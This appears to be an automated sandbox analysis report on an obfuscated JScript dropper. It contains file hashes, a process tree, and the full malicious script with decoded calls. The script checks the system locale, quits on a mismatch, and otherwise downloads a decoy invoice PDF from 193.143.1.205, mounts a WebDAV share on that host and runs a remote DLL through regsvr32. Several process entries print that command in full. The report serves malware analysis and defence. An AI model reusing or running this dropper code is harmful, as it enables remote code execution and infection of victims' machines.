Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15510), with CRLF line terminators
Entropy (8bit):	4.922603739821508
TrID:
File name:	1012716259541818656.js
File size:	19'060 bytes
MD5:	0b60a8a5336ffe13a5da0775006703e5
SHA1:	1118387fa02e8dc0962304564f326d66bb0f1066
SHA256:	8ccff127e6dc753db52e720576985744cc588ef6ba9147a0bd47786b76f826eb
SHA512:	10dc9fd1e8a9645537d329b628f50ab548f9f2faee3d5c52cecf477038e95d7d90d2adf70de3e512db72e428ed1f0bc9be5dcf134b444d04c6f74f0598d0328d
SSDEEP:	384:WKw7VGssCEpEDveHaliWE/fX8v0wgDvLzy0r:5wpGsKgvkaliWcXggDvLzPr
TLSH:	908230C8FD61C627C9E01660618A049F12DDC344648C56EE268E718CAE79BF37ED7DB2
File Content Preview:	function ekjrgvzsk(){pggmngvz=[1031,3079,5127,4103,2055,3072];var qydgdzv=this[znucexc+ybsavrib+ygygysla+acrkg+deuigpxc+tyslii+zuphvsiz+kztxyfzl](this[zgpnhm+qgkpuqx+cyoyrj+ygygysla+dwovxz+znucexc+kztxyfzl][nroxfjrpp+ygygysla+deuigpxc+ybsavrib+kztxyfzl+de

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	22:57:28
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js"
Imagebase:	0x7ff632950000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:57:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll
Imagebase:	0x7ff6f5420000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:57:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:57:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:57:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:57:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f5420000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:57:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff639e30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:57:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:57:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:57:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,4274114724177970302,11413238747508519512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ekjrgvzsk() {	ekjrgvzsk() ➔ undefined
1	pggmngvz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qydgdzv = this[znucexc + ybsavrib + ygygysla + acrkg + deuigpxc + tyslii + zuphvsiz + kztxyfzl] ( this[zgpnhm + qgkpuqx + cyoyrj + ygygysla + dwovxz + znucexc + kztxyfzl][nroxfjrpp + ygygysla + deuigpxc + ybsavrib + kztxyfzl + deuigpxc + cpoupxjfm + txkielmgt + plvvpephy + deuigpxc + cyoyrj + kztxyfzl] ( zgpnhm + qgkpuqx + cyoyrj + ygygysla + dwovxz + znucexc + kztxyfzl + taozclypc + qgkpuqx + azkzwr + deuigpxc + eluxp + eluxp ) [kxnomky + deuigpxc + tugvbvue + kxnomky + deuigpxc + ybsavrib + nvyyutihu] ( iflsf + bgiudfoq + fsbod + piweekx + ojpqpb + nroxfjrpp + jmdhzpeb + kxnomky + kxnomky + fsbod + rzqjxtfm + calyrojm + ojpqpb + jmdhzpeb + qgkpuqx + fsbod + kxnomky + yarss + nroxfjrpp + dkxlzw + zuphvsiz + kztxyfzl + ygygysla + dkxlzw + eluxp + sfrmm + odgeudo + ybsavrib + zuphvsiz + deuigpxc + eluxp + yarss + tyslii + zuphvsiz + kztxyfzl + deuigpxc + ygygysla + zuphvsiz + ybsavrib + kztxyfzl + dwovxz + dkxlzw + zuphvsiz + ybsavrib + eluxp + yarss + kfuoz + dkxlzw + cyoyrj + ybsavrib + eluxp + deuigpxc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fhtvx = 0 ; fhtvx < pggmngvz[eluxp + deuigpxc + zuphvsiz + tugvbvue + kztxyfzl + azkzwr] ; ++ fhtvx )
4	{
5	if ( qydgdzv == pggmngvz[fhtvx] )
6	{
7	qydgdzv = true;
8	break ;
9	}
10	}
11	if ( qydgdzv !== true )
12	this[zgpnhm + qgkpuqx + cyoyrj + ygygysla + dwovxz + znucexc + kztxyfzl][mlpvdgas + obdsxlcn + dwovxz + kztxyfzl] ( );
13	this[zgpnhm + qgkpuqx + cyoyrj + ygygysla + dwovxz + znucexc + kztxyfzl][nroxfjrpp + ygygysla + deuigpxc + ybsavrib + kztxyfzl + deuigpxc + cpoupxjfm + txkielmgt + plvvpephy + deuigpxc + cyoyrj + kztxyfzl] ( zgpnhm + qgkpuqx + cyoyrj + ygygysla + dwovxz + znucexc + kztxyfzl + taozclypc + qgkpuqx + azkzwr + deuigpxc + eluxp + eluxp ) [ygygysla + obdsxlcn + zuphvsiz] ( cyoyrj + nmmvq + nvyyutihu + sfrmm + ufmzke + cyoyrj + sfrmm + znucexc + dkxlzw + mxfwzypu + deuigpxc + ygygysla + acrkg + azkzwr + deuigpxc + eluxp + eluxp + taozclypc + deuigpxc + lkrgcao + deuigpxc + sfrmm + tyvxeqpgv + nroxfjrpp + dkxlzw + nmmvq + nmmvq + ybsavrib + zuphvsiz + nvyyutihu + sfrmm + pdfqbedp + tyslii + zuphvsiz + dhiyhf + dkxlzw + mvumrm + deuigpxc + tyvxeqpgv + zgpnhm + deuigpxc + txkielmgt + kxnomky + deuigpxc + fydacxyi + obdsxlcn + deuigpxc + acrkg + kztxyfzl + sfrmm + tyvxeqpgv + cpoupxjfm + obdsxlcn + kztxyfzl + maadv + dwovxz + eluxp + deuigpxc + sfrmm + fqrxycw + kztxyfzl + deuigpxc + nmmvq + znucexc + fqrxycw + yarss + dwovxz + zuphvsiz + dhiyhf + dkxlzw + dwovxz + cyoyrj + deuigpxc + taozclypc + znucexc + nvyyutihu + bdxpsuq + sfrmm + azkzwr + kztxyfzl + kztxyfzl + znucexc + awwannw + ufmzke + ufmzke + bqbpvqub + ulkjdx + roitgltim + taozclypc + bqbpvqub + cylfjlqv + roitgltim + taozclypc + bqbpvqub + taozclypc + dabnhbvt + dyaxtrmo + dujpfdywr + ufmzke + dwovxz + zuphvsiz + dhiyhf + dkxlzw + dwovxz + cyoyrj + deuigpxc + taozclypc + znucexc + azkzwr + znucexc + pdfqbedp + qrgtwp + qrgtwp + acrkg + kztxyfzl + ybsavrib + ygygysla + kztxyfzl + sfrmm + fqrxycw + kztxyfzl + deuigpxc + nmmvq + znucexc + fqrxycw + yarss + dwovxz + zuphvsiz + dhiyhf + dkxlzw + dwovxz + cyoyrj + deuigpxc + taozclypc + znucexc + nvyyutihu + bdxpsuq + qrgtwp + qrgtwp + cyoyrj + nmmvq + nvyyutihu + sfrmm + ufmzke + cyoyrj + sfrmm + zuphvsiz + deuigpxc + kztxyfzl + sfrmm + obdsxlcn + acrkg + deuigpxc + sfrmm + yarss + yarss + bqbpvqub + ulkjdx + roitgltim + taozclypc + bqbpvqub + cylfjlqv + roitgltim + taozclypc + bqbpvqub + taozclypc + dabnhbvt + dyaxtrmo + dujpfdywr + pgqhwg + aimsvhwlq + aimsvhwlq + aimsvhwlq + aimsvhwlq + yarss + nvyyutihu + ybsavrib + dhiyhf + mxfwzypu + mxfwzypu + mxfwzypu + ygygysla + dkxlzw + dkxlzw + kztxyfzl + yarss + qrgtwp + qrgtwp + cyoyrj + nmmvq + nvyyutihu + sfrmm + ufmzke + cyoyrj + sfrmm + ygygysla + deuigpxc + tugvbvue + acrkg + dhiyhf + ygygysla + roitgltim + dabnhbvt + sfrmm + ufmzke + acrkg + sfrmm + yarss + yarss + bqbpvqub + ulkjdx + roitgltim + taozclypc + bqbpvqub + cylfjlqv + roitgltim + taozclypc + bqbpvqub + taozclypc + dabnhbvt + dyaxtrmo + dujpfdywr + pgqhwg + aimsvhwlq + aimsvhwlq + aimsvhwlq + aimsvhwlq + yarss + nvyyutihu + ybsavrib + dhiyhf + mxfwzypu + mxfwzypu + mxfwzypu + ygygysla + dkxlzw + dkxlzw + kztxyfzl + yarss + bqbpvqub + cylfjlqv + ulkjdx + dujpfdywr + dyaxtrmo + dabnhbvt + aimsvhwlq + dyaxtrmo + ulkjdx + ulkjdx + cylfjlqv + dyaxtrmo + eiysimxj + cylfjlqv + taozclypc + nvyyutihu + eluxp + eluxp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll",0,false) ➔ 0
14	}
15	fsbod = "K";
16	fsbod = "e";
17	fsbod = "j";
18	fsbod = "g";
19	fsbod = "K";
20	fsbod = "n";
21	fsbod = "R";
22	fsbod = "D";
23	fsbod = "L";
24	fsbod = "r";
25	fsbod = "u";
26	fsbod = "R";
27	fsbod = "u";
28	fsbod = "B";
29	fsbod = "N";
30	fsbod = "M";
31	fsbod = "u";
32	fsbod = "l";
33	fsbod = "k";
34	fsbod = "W";
35	fsbod = "Y";
36	fsbod = "E";
37	fsbod = "d";
38	fsbod = "Z";
39	fsbod = "H";
40	fsbod = "g";
41	fsbod = "U";
42	fsbod = "R";
43	fsbod = "X";
44	fsbod = "Y";
45	fsbod = "H";
46	fsbod = "K";
47	fsbod = "c";
48	fsbod = "N";
49	fsbod = "w";
50	fsbod = "E";
51	dujpfdywr = "R";
52	dujpfdywr = "y";
53	dujpfdywr = "O";
54	dujpfdywr = "R";
55	dujpfdywr = "e";
56	dujpfdywr = "X";
57	dujpfdywr = "p";
58	dujpfdywr = "d";
59	dujpfdywr = "I";
60	dujpfdywr = "L";
61	dujpfdywr = "q";
62	dujpfdywr = "E";
63	dujpfdywr = "O";
64	dujpfdywr = "z";
65	dujpfdywr = "p";
66	dujpfdywr = "c";
67	dujpfdywr = "r";
68	dujpfdywr = "z";
69	dujpfdywr = "g";
70	dujpfdywr = "5";
71	ygygysla = "p";
72	ygygysla = "o";
73	ygygysla = "O";
74	ygygysla = "U";
75	ygygysla = "D";
76	ygygysla = "F";
77	ygygysla = "R";
78	ygygysla = "n";
79	ygygysla = "E";
80	ygygysla = "A";
81	ygygysla = "V";
82	ygygysla = "C";
83	ygygysla = "Y";
84	ygygysla = "X";
85	ygygysla = "r";
86	dyaxtrmo = "Y";
87	dyaxtrmo = "o";
88	dyaxtrmo = "q";
89	dyaxtrmo = "X";
90	dyaxtrmo = "A";
91	dyaxtrmo = "A";
92	dyaxtrmo = "Z";
93	dyaxtrmo = "k";
94	dyaxtrmo = "k";
95	dyaxtrmo = "Y";
96	dyaxtrmo = "u";
97	dyaxtrmo = "P";
98	dyaxtrmo = "F";
99	dyaxtrmo = "p";
100	dyaxtrmo = "a";
101	dyaxtrmo = "f";
102	dyaxtrmo = "A";
103	dyaxtrmo = "N";
104	dyaxtrmo = "p";
105	dyaxtrmo = "k";
106	dyaxtrmo = "e";
107	dyaxtrmo = "o";
108	dyaxtrmo = "v";
109	dyaxtrmo = "Z";
110	dyaxtrmo = "N";
111	dyaxtrmo = "a";
112	dyaxtrmo = "m";
113	dyaxtrmo = "v";
114	dyaxtrmo = "M";
115	dyaxtrmo = "Y";
116	dyaxtrmo = "s";
117	dyaxtrmo = "m";
118	dyaxtrmo = "0";
119	bqbpvqub = "I";
120	bqbpvqub = "t";
121	bqbpvqub = "n";
122	bqbpvqub = "u";
123	bqbpvqub = "S";
124	bqbpvqub = "f";
125	bqbpvqub = "h";
126	bqbpvqub = "F";
127	bqbpvqub = "Q";
128	bqbpvqub = "T";
129	bqbpvqub = "a";
130	bqbpvqub = "T";
131	bqbpvqub = "U";
132	bqbpvqub = "a";
133	bqbpvqub = "R";
134	bqbpvqub = "s";
135	bqbpvqub = "K";
136	bqbpvqub = "P";
137	bqbpvqub = "T";
138	bqbpvqub = "B";
139	bqbpvqub = "q";
140	bqbpvqub = "r";
141	bqbpvqub = "w";
142	bqbpvqub = "I";
143	bqbpvqub = "e";
144	bqbpvqub = "s";
145	bqbpvqub = "g";
146	bqbpvqub = "Z";
147	bqbpvqub = "p";
148	bqbpvqub = "B";
149	bqbpvqub = "1";
150	cyoyrj = "j";
151	cyoyrj = "a";
152	cyoyrj = "y";
153	cyoyrj = "U";
154	cyoyrj = "c";
155	eiysimxj = "z";
156	eiysimxj = "w";
157	eiysimxj = "x";
158	eiysimxj = "f";
159	eiysimxj = "l";
160	eiysimxj = "E";
161	eiysimxj = "U";
162	eiysimxj = "a";
163	eiysimxj = "p";
164	eiysimxj = "G";
165	eiysimxj = "l";
166	eiysimxj = "i";
167	eiysimxj = "T";
168	eiysimxj = "V";
169	eiysimxj = "B";
170	eiysimxj = "B";
171	eiysimxj = "v";
172	eiysimxj = "i";
173	eiysimxj = "E";
174	eiysimxj = "h";
175	eiysimxj = "6";
176	zuphvsiz = "A";
177	zuphvsiz = "E";
178	zuphvsiz = "b";
179	zuphvsiz = "f";
180	zuphvsiz = "Z";
181	zuphvsiz = "S";
182	zuphvsiz = "I";
183	zuphvsiz = "b";
184	zuphvsiz = "n";
185	zuphvsiz = "p";
186	zuphvsiz = "z";
187	zuphvsiz = "U";
188	zuphvsiz = "r";
189	zuphvsiz = "X";
190	zuphvsiz = "g";
191	zuphvsiz = "b";
192	zuphvsiz = "W";
193	zuphvsiz = "Q";
194	zuphvsiz = "K";
195	zuphvsiz = "Z";
196	zuphvsiz = "J";
197	zuphvsiz = "s";
198	zuphvsiz = "A";
199	zuphvsiz = "p";
200	zuphvsiz = "W";
201	zuphvsiz = "N";
202	zuphvsiz = "J";
203	zuphvsiz = "m";
204	zuphvsiz = "J";
205	zuphvsiz = "n";
206	zuphvsiz = "s";
207	zuphvsiz = "W";
208	zuphvsiz = "G";
209	zuphvsiz = "H";
210	zuphvsiz = "j";
211	zuphvsiz = "i";
212	zuphvsiz = "n";
213	zuphvsiz = "V";
214	zuphvsiz = "g";
215	zuphvsiz = "F";
216	zuphvsiz = "S";
217	zuphvsiz = "v";
218	zuphvsiz = "n";
219	piweekx = "s";
220	piweekx = "J";
221	piweekx = "p";
222	piweekx = "c";
223	piweekx = "Y";
224	awwannw = "J";
225	awwannw = "L";
226	awwannw = "p";
227	awwannw = "C";
228	awwannw = "z";
229	awwannw = "u";
230	awwannw = "S";
231	awwannw = "t";
232	awwannw = "x";
233	awwannw = "Z";
234	awwannw = "M";
235	awwannw = "Z";
236	awwannw = "X";
237	awwannw = "O";
238	awwannw = "K";
239	awwannw = "N";
240	awwannw = "N";
241	awwannw = "o";
242	awwannw = "i";
243	awwannw = "j";
244	awwannw = "y";
245	awwannw = "n";
246	awwannw = "t";
247	awwannw = "k";
248	awwannw = "d";
249	awwannw = "k";
250	awwannw = "X";
251	awwannw = "x";
252	awwannw = "K";
253	awwannw = "p";
254	awwannw = "V";
255	awwannw = "s";
256	awwannw = "X";
257	awwannw = "K";
258	awwannw = "V";
259	awwannw = "y";
260	awwannw = ":";
261	dkxlzw = "Y";
262	dkxlzw = "t";
263	dkxlzw = "Z";
264	dkxlzw = "Z";
265	dkxlzw = "y";
266	dkxlzw = "r";
267	dkxlzw = "o";
268	maadv = "d";
269	maadv = "S";
270	maadv = "F";
271	tyvxeqpgv = "W";
272	tyvxeqpgv = "S";
273	tyvxeqpgv = "b";
274	tyvxeqpgv = "r";
275	tyvxeqpgv = "m";
276	tyvxeqpgv = "u";
277	tyvxeqpgv = "-";
278	bdxpsuq = "w";
279	bdxpsuq = "k";
280	bdxpsuq = "C";
281	bdxpsuq = "a";
282	bdxpsuq = "M";
283	bdxpsuq = "U";
284	bdxpsuq = "h";
285	bdxpsuq = "A";
286	bdxpsuq = "O";
287	bdxpsuq = "S";
288	bdxpsuq = "L";
289	bdxpsuq = "j";
290	bdxpsuq = "J";
291	bdxpsuq = "P";
292	bdxpsuq = "w";
293	bdxpsuq = "B";
294	bdxpsuq = "j";
295	bdxpsuq = "c";
296	bdxpsuq = "N";
297	bdxpsuq = "E";
298	bdxpsuq = "f";
299	bdxpsuq = "O";
300	bdxpsuq = "o";
301	bdxpsuq = "S";
302	bdxpsuq = "U";
303	bdxpsuq = "i";
304	bdxpsuq = "b";
305	bdxpsuq = "U";
306	bdxpsuq = "T";
307	bdxpsuq = "f";
308	nroxfjrpp = "M";
309	nroxfjrpp = "k";
310	nroxfjrpp = "k";
311	nroxfjrpp = "x";
312	nroxfjrpp = "R";
313	nroxfjrpp = "G";
314	nroxfjrpp = "C";
315	sfrmm = "N";
316	sfrmm = "z";
317	sfrmm = "D";
318	sfrmm = "f";
319	sfrmm = "w";
320	sfrmm = "v";
321	sfrmm = "B";
322	sfrmm = "w";
323	sfrmm = "M";
324	sfrmm = "n";
325	sfrmm = "j";
326	sfrmm = "x";
327	sfrmm = "P";
328	sfrmm = "s";
329	sfrmm = "Y";
330	sfrmm = "O";
331	sfrmm = "p";
332	sfrmm = "k";
333	sfrmm = "o";
334	sfrmm = "s";
335	sfrmm = "S";
336	sfrmm = "U";
337	sfrmm = "A";
338	sfrmm = "j";
339	sfrmm = " ";
340	nvyyutihu = "b";
341	nvyyutihu = "k";
342	nvyyutihu = "H";
343	nvyyutihu = "r";
344	nvyyutihu = "Q";
345	nvyyutihu = "G";
346	nvyyutihu = "N";
347	nvyyutihu = "T";
348	nvyyutihu = "s";
349	nvyyutihu = "J";
350	nvyyutihu = "o";
351	nvyyutihu = "q";
352	nvyyutihu = "U";
353	nvyyutihu = "R";
354	nvyyutihu = "P";
355	nvyyutihu = "w";
356	nvyyutihu = "i";
357	nvyyutihu = "Y";
358	nvyyutihu = "B";
359	nvyyutihu = "L";
360	nvyyutihu = "F";
361	nvyyutihu = "H";
362	nvyyutihu = "W";
363	nvyyutihu = "K";
364	nvyyutihu = "w";
365	nvyyutihu = "d";
366	mvumrm = "R";
367	mvumrm = "i";
368	mvumrm = "R";
369	mvumrm = "l";
370	mvumrm = "k";
371	mvumrm = "e";
372	mvumrm = "F";
373	mvumrm = "s";
374	mvumrm = "Z";
375	mvumrm = "s";
376	mvumrm = "W";
377	mvumrm = "J";
378	mvumrm = "m";
379	mvumrm = "O";
380	mvumrm = "D";
381	mvumrm = "T";
382	mvumrm = "k";
383	mvumrm = "N";
384	mvumrm = "f";
385	mvumrm = "D";
386	mvumrm = "U";
387	mvumrm = "s";
388	mvumrm = "r";
389	mvumrm = "I";
390	mvumrm = "G";
391	mvumrm = "J";
392	mvumrm = "o";
393	mvumrm = "J";
394	mvumrm = "a";
395	mvumrm = "A";
396	mvumrm = "t";
397	mvumrm = "F";
398	mvumrm = "Z";
399	mvumrm = "K";
400	mvumrm = "d";
401	mvumrm = "h";
402	mvumrm = "V";
403	mvumrm = "w";
404	mvumrm = "d";
